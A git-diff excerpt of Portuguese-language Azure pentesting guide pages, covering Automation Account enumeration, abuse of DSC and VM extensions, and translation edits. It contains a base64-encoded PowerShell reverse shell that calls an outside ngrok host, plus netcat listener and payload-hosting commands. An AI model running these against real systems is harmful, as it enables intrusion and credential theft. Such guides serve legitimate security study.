- O arquivo de configuração é executado, resultando na implantação do script de reverse shell no local especificado na VM Windows.
#### Step 6 — Hospedar Payload e Configurar Listener
- Um Python SimpleHTTPServer é iniciado para hospedar o payload, junto com um listener Netcat para capturar conexões recebidas.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
- A tarefa agendada executa o payload, alcançando privilégios de nível SYSTEM.
#### Conclusão
A execução bem-sucedida deste processo abre inúmeras possibilidades para ações adicionais, como extração de credenciais ou expansão do ataque para várias VMs. O guia incentiva a continuidade do aprendizado e a criatividade no âmbito do Azure Automation DSC.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,227 @@
# Az - Contas de Automação
{{#include ../../../../banners/hacktricks-training.md}}
## Informações Básicas
As Contas de Automação do Azure são serviços baseados em nuvem na Microsoft Azure que ajudam a **automatizar tarefas** como gerenciamento de recursos, configuração e atualizações em ambientes Azure e locais. Elas fornecem **Runbooks** (scripts para automação que são executados), **agendas** e **grupos de trabalhadores híbridos** para executar **trabalhos** de automação, permitindo infraestrutura como código (IaC) e automação de processos para melhorar a eficiência e a consistência na gestão de recursos em nuvem.
### Configurações
- **Credenciais**: A senha é acessível apenas dentro de um runbook dentro da conta de automação, sendo usada para **armazenar nomes de usuário e senhas de forma segura**.
- **Variáveis**: Usadas para armazenar **dados de configuração** que podem ser utilizados em runbooks. Isso também pode incluir informações sensíveis, como chaves de API. Se a variável estiver **armazenada criptografada**, ela estará disponível apenas dentro de um runbook na conta de automação.
- **Certificados**: Usados para armazenar **certificados** que podem ser utilizados em runbooks.
- **Conexões**: Usadas para armazenar **informações de conexão** com serviços externos. Isso pode conter **informações sensíveis**.
- **Acesso à Rede**: Pode ser definido como **público** ou **privado**.
## Runbooks & Trabalhos
Um Runbook na Automação do Azure é um **script que executa tarefas automaticamente** dentro do seu ambiente de nuvem. Os runbooks podem ser escritos em PowerShell, Python ou editores gráficos. Eles ajudam a automatizar tarefas administrativas como gerenciamento de VM, aplicação de patches ou verificações de conformidade.
No **código** localizado dentro dos **Runbooks** pode conter **informações sensíveis** (como credenciais).
Vá para `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
Um **Trabalho é uma instância da execução de um Runbook**. Quando você executa um Runbook, um Trabalho é criado para rastrear essa execução. Cada trabalho inclui:
- **Status**: Em fila, Executando, Concluído, Falhou, Suspenso.
- **Saída**: O resultado da execução do Runbook.
- **Hora de Início e Fim**: Quando o trabalho começou e foi concluído.
Um trabalho contém a **saída** da execução do **Runbook**. Se você puder **ler** os **trabalhos**, faça isso, pois eles **contêm** a **saída** da execução (potencial **informação sensível**).
### Agendas & Webhooks
Existem 3 maneiras principais de executar um Runbook:
- **Agendas**: Estas são usadas para **disparar** Runbooks em um **horário específico** ou **intervalo**.
- **Webhooks**: Estes são **endpoints HTTP** que podem ser usados para **disparar** Runbooks de **serviços externos**. Observe que a URL do webhook **não é visível** após a criação.
- **Disparo Manual**: Você pode **disparar manualmente** um Runbook a partir do Portal do Azure e da CLI.
### Controle de Versão
Permite importar Runbooks do **Github, Azure Devops (Git) e Azure Devops (TFVC)**. É possível indicar que publique os Runbooks do repositório na conta de automação do Azure e também é possível indicar para **sincronizar as alterações do repositório** para a conta de automação do Azure.
Quando a sincronização está habilitada, um **webhook é criado no repositório do Github** para disparar a sincronização sempre que um evento de push ocorre. Exemplo de uma URL de webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Observe que esses webhooks **não serão visíveis** ao listar webhooks nos runbooks associados ao repositório do Github. Também observe que **não é possível alterar a URL do repositório** de um controle de versão uma vez que ele é criado.
Para que o controle de versão configurado funcione, a **Conta de Automação do Azure** precisa ter uma identidade gerenciada (sistema ou usuário) com o papel de **`Contribuidor`**. Além disso, para atribuir uma identidade gerenciada de usuário à Conta de Automação, é possível fazer isso apenas definindo a variável **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** para o **ID do Cliente da Identidade Gerenciada do Usuário**.
### Ambientes de Execução
Ao criar um Runbook, é possível selecionar o ambiente de execução. Por padrão, os seguintes ambientes de execução estão disponíveis:
- **Powershell 5.1**
- **Powershell 7.1**
- **PowerShell 7.2**
- **Python 3.10**
- **Python 3.8**
- **Python 2.7**
No entanto, também é possível **criar seus próprios ambientes**, usando um desses como base. No caso do Python, é possível fazer upload de pacotes `.whl` para o ambiente que será utilizado. No caso do PowerShell, é possível fazer upload de pacotes `.zip` com os módulos a serem utilizados na execução.
### Trabalhador Híbrido
Um Runbook pode ser executado em um **container dentro do Azure** ou em um **Trabalhador Híbrido** (máquina não-Azure).\
O **Agente de Log Analytics** é implantado na VM para registrá-la como um trabalhador híbrido.\
Os trabalhos do trabalhador híbrido são executados como **SYSTEM** no Windows e como **nxautomation** na Linux.\
Cada Trabalhador Híbrido é registrado em um **Grupo de Trabalhadores Híbridos**.
Portanto, se você puder escolher executar um **Runbook** em um **Trabalhador Híbrido Windows**, você executará **comandos arbitrários** dentro de uma máquina externa como **System** (boa técnica de pivotagem).
### Configuração de Estado (SC)
>[!WARNING]
> Como indicado na [documentação](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), a Configuração de Estado do Azure Automation será descontinuada em 30 de setembro de 2027 e substituída pela [Configuração de Máquina do Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
As Contas de Automação também suportam **Configuração de Estado (SC)**, que é um recurso que ajuda a **configurar** e **manter** o **estado** das suas VMs. É possível **criar** e **aplicar** configurações DSC em máquinas **Windows** e **Linux**.
Do ponto de vista de um atacante, isso era interessante porque permitia **executar código PS arbitrário em todas as VMs configuradas**, permitindo escalar privilégios para as identidades gerenciadas dessas VMs, potencialmente pivotando para novas redes... Além disso, as configurações poderiam conter **informações sensíveis**.
## Enumeração
```bash
# List Automation Accounts
az automation account list --output table
# Get Automation Account details
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
# Check the managed identities in `identity`
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get keys of automation account
## These are used for the DSC
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get schedules of automation account
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get connections of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
# Get connection details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
# Get credentials of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
# Get credential details
## Note that you will only be able to access the password from inside a Runbook
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
# Get certificates of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
# Get certificate details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
# Get variables of automation account
## It's possible to get the value of unencrypted variables but not the encrypted ones
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
# Get variable details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
# Get runbooks of an automation account
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get runbook details
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
# Get runbook content
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
# Get jobs of an automation account
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get job details
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
# Get job output
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
# Get the Runbook content when the job was executed
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
# Get webhooks inside an automation account
## It's possible to see to which runbook it belongs in the given data
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
## Generating a webhook can be useful from a persistence perspective
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
# Get the source control setting of an automation account (if any)
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get custom runtime environments
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
az automation runtime-environment list \
--resource-group <res-group>> \
--automation-account-name <account-name> \
--query "[?!(starts_with(description, 'System-generated'))]"
# Get State Configurations (SC) of an automation account
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get State Configuration details
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
```
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
## Escalação de Privilégios & Pós Exploração
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Referências
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Informações Básicas sobre Redes do Azure
## Informações Básicas sobre Redes Azure
As redes do Azure contêm **diferentes entidades e maneiras de configurá-las.** Você pode encontrar uma breve **descrição,** **exemplos** e comandos de **enumeração** das diferentes entidades de rede do Azure em:
As redes Azure contêm **diferentes entidades e maneiras de configurá-las.** Você pode encontrar uma breve **descrição,** **exemplos** e comandos de **enumeração** das diferentes entidades de rede Azure em:
{{#ref}}
az-azure-network.md
@@ -16,7 +16,7 @@ As Máquinas Virtuais (VMs) do Azure são servidores **baseados em nuvem flexív
### Configurações de Segurança
- **Zonas de Disponibilidade**: As zonas de disponibilidade são grupos distintos de datacenters dentro de uma região específica do Azure que são fisicamente separados para minimizar o risco de múltiplas zonas serem afetadas por interrupções locais ou desastres.
- **Zonas de Disponibilidade**: As zonas de disponibilidade são grupos distintos de datacenters dentro de uma região específica do Azure que são fisicamente separados para minimizar o risco de múltiplas zonas serem afetadas por interrupções ou desastres locais.
- **Tipo de Segurança**:
- **Segurança Padrão**: Este é o tipo de segurança padrão que não requer nenhuma configuração específica.
- **Lançamento Confiável**: Este tipo de segurança melhora a proteção contra boot kits e malware em nível de kernel usando Secure Boot e Virtual Trusted Platform Module (vTPM).
@@ -41,17 +41,17 @@ As Máquinas Virtuais (VMs) do Azure são servidores **baseados em nuvem flexív
- **Monitor de Saúde**: Por padrão, verifica o protocolo HTTP na porta 80
- **Bloqueios**: Permite bloquear uma VM para que ela possa ser apenas lida (**Bloqueio Somente Leitura**) ou que possa ser lida e atualizada, mas não excluída (**Bloqueio Não Pode Excluir**).
- A maioria dos recursos relacionados a VM **também suporta bloqueios** como discos, instantâneas...
- Bloqueios também podem ser aplicados em **níveis de grupo de recursos e assinatura**
- Os bloqueios também podem ser aplicados em **níveis de grupo de recursos e assinatura**
## Discos & instantâneas
- É possível **habilitar a anexação de um disco a 2 ou mais VMs**
- Por padrão, cada disco é **criptografado** com uma chave da plataforma.
- O mesmo se aplica a instantâneas
- O mesmo se aplica às instantâneas
- Por padrão, é possível **compartilhar o disco de todas as redes**, mas também pode ser **restrito** a apenas certos **acessos privados** ou **desativar completamente** o acesso público e privado.
- O mesmo se aplica a instantâneas
- O mesmo se aplica às instantâneas
- É possível **gerar um URI SAS** (de no máximo 60 dias) para **exportar o disco**, que pode ser configurado para exigir autenticação ou não
- O mesmo se aplica a instantâneas
- O mesmo se aplica às instantâneas
{{#tabs}}
{{#tab name="az cli"}}
@@ -74,10 +74,10 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
{{#endtab}}
{{#endtabs}}
## Imagens, Imagens da Galeria e Pontos de Restauração
## Imagens, Imagens de Galeria e Pontos de Restauração
Uma **imagem de VM** é um modelo que contém o sistema operacional, configurações de aplicativo e sistema de arquivos necessários para **criar uma nova máquina virtual (VM)**. A diferença entre uma imagem e um instantâneo de disco é que um instantâneo de disco é uma cópia somente leitura, em um ponto no tempo, de um único disco gerenciado, usado principalmente para backup ou solução de problemas, enquanto uma imagem pode conter **múltiplos discos e é projetada para servir como um modelo para criar novas VMs**.\
As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro das **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até torná-la pública.
As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro de **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até torná-la pública.
Um **ponto de restauração** armazena a configuração da VM e **instantâneas consistentes de aplicativo em um ponto no tempo** de todos os discos gerenciados anexados à VM. Está relacionado à VM e seu propósito é ser capaz de restaurar essa VM para como ela estava naquele ponto específico.
@@ -144,11 +144,11 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Recuperação de Site do Azure
Do [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): A Recuperação de Site ajuda a garantir a continuidade dos negócios, mantendo aplicativos e cargas de trabalho em funcionamento durante interrupções. A Recuperação de Site **replica cargas de trabalho** em máquinas físicas e virtuais (VMs) de um site primário para um local secundário. Quando ocorre uma interrupção em seu site primário, você muda para um local secundário e acessa os aplicativos a partir daí. Depois que o local primário estiver funcionando novamente, você pode retornar a ele.
Do [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): A Recuperação de Site ajuda a garantir a continuidade dos negócios, mantendo aplicativos e cargas de trabalho em funcionamento durante interrupções. A Recuperação de Site **replica cargas de trabalho** que estão em máquinas físicas e virtuais (VMs) de um site primário para um local secundário. Quando ocorre uma interrupção em seu site primário, você muda para um local secundário e acessa os aplicativos a partir daí. Depois que o local primário estiver funcionando novamente, você pode retornar a ele.
## Bastion do Azure
O Bastion do Azure permite acesso seguro e contínuo ao **Protocolo de Área de Trabalho Remota (RDP)** e **Shell Seguro (SSH)** às suas máquinas virtuais (VMs) diretamente através do Portal do Azure ou via uma jump box. Ao **eliminar a necessidade de endereços IP públicos** em suas VMs.
O Bastion do Azure permite acesso seguro e contínuo ao **Protocolo de Área de Trabalho Remota (RDP)** e **Shell Seguro (SSH)** às suas máquinas virtuais (VMs) diretamente através do Portal do Azure ou via um jump box. Ao **eliminar a necessidade de endereços IP públicos** em suas VMs.
O Bastion implanta uma sub-rede chamada **`AzureBastionSubnet`** com uma máscara de rede `/26` na VNet em que precisa operar. Em seguida, permite **conectar-se a VMs internas através do navegador** usando `RDP` e `SSH`, evitando expor portas das VMs à Internet. Ele também pode funcionar como um **host de salto**.
@@ -509,7 +509,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Execute shell reverso a partir de arquivo
- Execute reverse shell a partir de um arquivo
```bash
az vm extension set \
--resource-group <rsc-group> \
@@ -549,9 +549,9 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<details>
<summary>DesiredConfigurationState (DSC)</summary>
<summary>DesiredStateConfiguration (DSC)</summary>
Esta é uma **extensão de VM** que pertence à Microsoft e usa PowerShell DSC para gerenciar a configuração das VMs do Azure Windows. Portanto, pode ser usada para **executar comandos arbitrários** em VMs do Windows através desta extensão:
Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão:
```powershell
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
<summary>Hybrid Runbook Worker</summary>
Esta é uma extensão de VM que permite executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o [Automation Accounts service](../az-automation-account/).
Esta é uma extensão de VM que permite executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o [Automation Accounts service](../az-automation-account/index.html).
</details>
@@ -625,7 +625,7 @@ Estes são os caminhos onde os aplicativos são baixados dentro do sistema de ar
Verifique como instalar novos aplicativos em [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> É possível **compartilhar aplicativos individuais e galerias com outras assinaturas ou locatários**. O que é muito interessante porque pode permitir que um atacante insira um backdoor em um aplicativo e faça pivot para outras assinaturas e locatários.
> É possível **compartilhar aplicativos individuais e galerias com outras assinaturas ou locatários**. O que é muito interessante porque poderia permitir que um atacante inserisse um backdoor em um aplicativo e fizesse pivot para outras assinaturas e locatários.
Mas **não há um "marketplace" para aplicativos de vm** como há para extensões.
@@ -727,8 +727,8 @@ Estes são **dados persistentes** que podem ser recuperados do endpoint de metad
É possível passar alguns dados para a VM que serão armazenados em caminhos esperados:
- Em **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados.
- Em **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml`
- No **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados.
- No **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml`
- **Agente Linux**: Ele não processa dados personalizados por padrão, é necessária uma imagem personalizada com os dados habilitados.
- **cloud-init:** Por padrão, ele processa dados personalizados e esses dados podem estar em [**vários formatos**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Ele poderia executar um script facilmente enviando apenas o script nos dados personalizados.
- Eu tentei que tanto o Ubuntu quanto o Debian executassem o script que você colocou aqui.